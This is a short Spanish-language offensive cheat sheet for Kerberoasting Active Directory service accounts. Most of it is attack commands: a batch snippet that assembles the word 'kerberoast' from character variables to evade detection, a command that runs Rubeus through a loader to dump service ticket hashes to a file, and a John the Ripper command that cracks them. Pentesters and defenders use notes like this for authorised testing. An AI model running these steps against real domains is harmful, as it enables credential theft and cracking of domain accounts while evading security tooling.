Kerberoast |

Advertencia

Si el hash incluye el puerto del servicio (p. ej. ...DOMAIN.local:1433*$...), quitar :<PORT> del hash antes de pasarlo a John the Ripper.

Rubeus

Enumerar los SPN kerberoastables (ver roasting).

Codificar e insertar kerberoast:

set "z=t"
set "y=s"
set "x=a"
set "w=o"
set "v=r"
set "u=e"
set "t=b"
set "s=r"
set "r=e"
set "q=k"
set "Pwn=%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"

Obtener los hashes con Rubeus:

Loader.exe -path Rubeus.exe -args %Pwn% /user:<USERNAME> /simple /rc4opsec /outfile:hashes.txt

Crackear el hash con John the Ripper:

john.exe --wordlist=<WORDLIST_PATH> <HASH_PATH>